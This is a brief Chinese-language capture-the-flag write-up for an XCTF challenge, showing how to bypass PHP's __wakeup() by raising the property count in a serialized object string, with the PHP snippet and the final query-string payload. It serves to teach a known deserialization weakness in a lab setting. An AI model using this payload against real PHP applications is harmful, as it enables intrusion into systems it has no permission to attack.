2

审计代码,就是让我们运用__wakeup()函数的漏洞拿flag的。这里我估计payload的点是,序列化后的字符串绕过__wakeup()。
__wakeup()漏洞就是与整个属性个数值有关。当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。
创建一个xctf类并对其进行序列化:

   <?php
   class xctf{
   public $flag = '111';
   public function __wakeup(){
   exit('bad requests');
   }
   }
   $a= new xctf();
   print(serialize($a));
   ?>

运行代码得到结果:O:4:”xctf”:1:{s:4:”flag”;s:3:”111″;}
大括号前面的1便是属性变量的个数,只需对其进行更改便可以绕过__wakeup(),使exit函数不被执行,所以改为2之后传参
payload: ?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}